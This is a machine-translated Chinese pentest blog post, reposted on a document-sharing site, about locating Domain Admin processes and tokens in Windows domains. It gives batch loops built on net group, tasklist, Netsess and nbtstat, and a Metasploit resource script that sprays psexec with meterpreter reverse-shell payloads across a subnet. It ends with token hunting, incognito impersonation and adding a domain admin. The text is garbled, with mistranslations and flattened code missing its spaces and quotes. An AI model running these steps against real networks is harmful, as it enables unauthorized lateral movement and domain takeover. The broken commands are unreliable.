《关于域浸透技巧介绍.docx》由会员分享,可在线阅读,更多相关《关于域浸透技巧介绍.docx(9页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、关于域浸透技巧介绍关于域浸透技巧介绍恒辉3域管理进程转移,使得浸透测试人员能够模拟在互联网上的域名管理员账户进行操作。尽管如此,在浸透测试开场之前需要确认系统中进程能否运行。在这篇博文中,我讲介绍5个技巧来帮助大家去做这些事情。本地检测查询活跃的域控制器扫描远程系统上运行的任务扫描远程系统上NetBIOS信息PSExec扫描远程系统上的身份验证令牌获取域名管理员权限在大多数情况下,本篇文章关注的焦点在于识别运行于域名管理进程的系统。下面为大部分浸透测试人员获取域名管理权限的经过确定目的系统和应用程序识别潜在的漏洞利用漏洞获得初始访问提升权限定位域管理进程或者获取远程系统上的本地身份验证令牌通过
2、本地管理员的密码Hash,解除密码,使用mimikatz工具抓取密码验证运行在远程系统上的域名管理进程迁移域管理进程创立一个域管理员整个经过在大多浸透测试社区中都有提到,假如你想了解更多详情,能够通过Google找到很多指导书,技术文章,演示视频。在本文中,我们注重的是前面提到的定位域管理进程或者获取远程系统上的本地身份验证令牌。寻找域名管理进程下面开场讲解我承诺给大家的5个技巧。Technique1:本地检测检测目的系统总是第一步,下面是一个使用本地命令检测域管理进程的简单方法。运行下面命令获得域管理的列表:netgroup“DomainAdmins/domain运行下面命令列出进程和进程所
3、有者,账户运行的进程应该第七栏Tasklist/v穿插引用的任务列表和域管理员列表在目的系统中,假如域管理进程一开场就是可用的那就好办了,但有时候,并非我们想的那么简单。所以,接下来的4个技巧会帮你在远程域系统中找出域管理进程。Technique2:查询活跃的域名控制器据我所知,这个技巧是由一个NetSPI造成的。我们需要一个方法去识别活跃域名管理进程,或者是关闭IDS进行一些扫描。最终它会出现一个简单查询域控制器,获取活跃域用户以及穿插引用域管理员列表。美中缺乏的是,你需要查询所有的域控制器。下面我会提供一个基本步骤来获取活跃域管理员。使用LDAP查询从“DomainControllers单
4、元采集域控制器的列表,或者使用一下命令netgroup“DomainControllers/domain重要提示:从单元中获取到的域控制器的列表可信度特别高。但请记住,你应该通过列举信任域进程并标记这些域控制器。此外你可以以通过DNS查看Nslookuptype=SRV_ldap._tcp.使用LDAP查询从DomainAdmins获取域管理员列表,或者使用下列命令netgroup“DomainAdmins/domain使用Netsess.exe查询所有域控制器,获取所有的活跃域。这是一款牛逼的工具,使用如下命令Netsess.exeh穿插引用域管理员列表和活跃会话列表,来确认哪个IP地址有活
5、跃域令牌。在安全的环境下你可能需要等待域管理员或者含有权限的服务账户,然后在进行活动。下面是一个快速使用Netsess的Windows命令行脚本,记住dcs.txt是一个域控制器列表admins.txt是一个域管理员列表。FOR/F%iin(dcs.txt)doecho+QueryingDC%inetsess-h%i2nulsessions.txtFOR/F%ain(admins.txt)DOtypesessions.txt|findstr/I%a我写了一个简单的批处理脚本GDA,它能够使整个经过完全自动化,详情能够看readme文件。在MarkBeard以及IvanDasilva的启发下,我
6、还创立了一个名为GDU的脚本进行Windows字典攻击。假如你感兴趣,能够通过点击上面的链接下载Technique3:扫描远程系统上运行的任务通常经过前面两个技巧的摧残,大部分情况都能攻下了。然而,我在LaNMSteR53的博客上看到另外一种聪明的方法。假如你使用分享本地管理员帐户运行域系统,你能够运行下面的脚本扫描系统中的域管理任务。类似于前面提到的技巧,同样首先需要列举域管理员。下面的脚本包含,ips.txt目的系统列表,names.txt域管理员列表。FOR/F%iin(ips.txt)DOecho+%itasklist/V/S%i/Uuser/Ppassword2NULoutput.t
7、xtFOR/F%nin(names.txt)DOtypeoutput.txt|findstr%nNULecho!%nwasfoundrunningaprocesson%ipauseTechnique4:扫描远程系统上NetBIOS信息一些Windows系统仍然允许用户通过NetBIOS查询已登录用户,同样可以以使用原生的nbtstat工具进行查询下面这个Windows命令行脚本将扫描远程系统活跃域管理睬话。for/F%iin(ips.txt)doecho+Checking%inbtstat-A%i2NULnbsessions.txtFOR/F%nin(admins.txt)DOtypenbse
8、ssions.txt|findstr/I%nNULecho!%nwasfoundloggedinto%i你可以以使用nbtscan工具for/F%iin(ips.txt)doecho+Checking%inbtscan-f%i2NULnbsessions.txtFOR/F%nin(admins.txt)DOtypenbsessions.txt|findstr/I%nNULecho!%nwasfoundloggedinto%iTechnique5:PSExec扫描远程系统上的身份验证令牌安装Metasploit3.5或更高版本将下面脚本复制到一个文本文件并保存到Metasploit目录,命名为p
9、sexec_spray.rc.#SetupMultiHandlertoacceptmultipleincomingconnectionsusemulti/handlersetgPAYLOADwindows/meterpreter/reverse_tcpsetgLHOST0.0.0.0setgLPORT55555setExitOnSessionfalseexploit-j-z#SetupCredentialsusewindows/smb/psexecsetSMBUsersetSMBPass#SetupDomainaslocalhostunlessusingdomaincredentialsset
10、SMBDomain.#Disableplayloadhandlerinpsexecmodules(usingmultihandler)setDisablePayloadHandlertrue#RunRubycodetoscandesirednetworkrangeusingsomeREXAPIstuff-rangewalker#note:couldalsoacceptipaddressesfromafilebyreplacingrhosts=192.168.74.0/24withrhosts=File.readlines(“c:systems.txt)requirerex/socket/ran
11、ge_walkerrhosts=192.168.1.0/24iplist=Rex:Socket:RangeWalker.new(rhosts)iplist.eachdo|rhost|#selfallowsforexecutionofcommandsinmsfconsoleself.run_single(setRHOST#rhost)#-j-zsendthesessiontothebackgroundself.run_single(exploit-j-z)end更新smbuser和smbpass参数输入下面命令运行脚本,psexec_spray.rc脚本使用所提供的凭据在所有存在于192.168
12、.1.0/24的系统中盲目安装meterpretershellsmsfconsolerpsexec_spray.rc你能够使用Metasploit的token_hunter模块识别域管理令牌创立一个包含域管理员列表的文件:COMPANYjoe-adminCOMPANYbill-adminCOMPANYdavid-admin加载token_hunter模块msfconsolemsfloadtoken_hunter运行token_hunter列出域管理令牌msftoken_hunt_user-f/tmp/domain-admin.txt另外,你能够使用下面的命令来获得当前登录用户的列表SessionssloggedinWhatNow?假如你已经有一个meterpreter会话,你能够用进入隐身形式来冒充域管理员或者添加一个新的管理员。在meterpreter会话中加载隐身形式loadincongnito尝试添加一个域管理员:add_user-hadd_groupDomainAdmins-h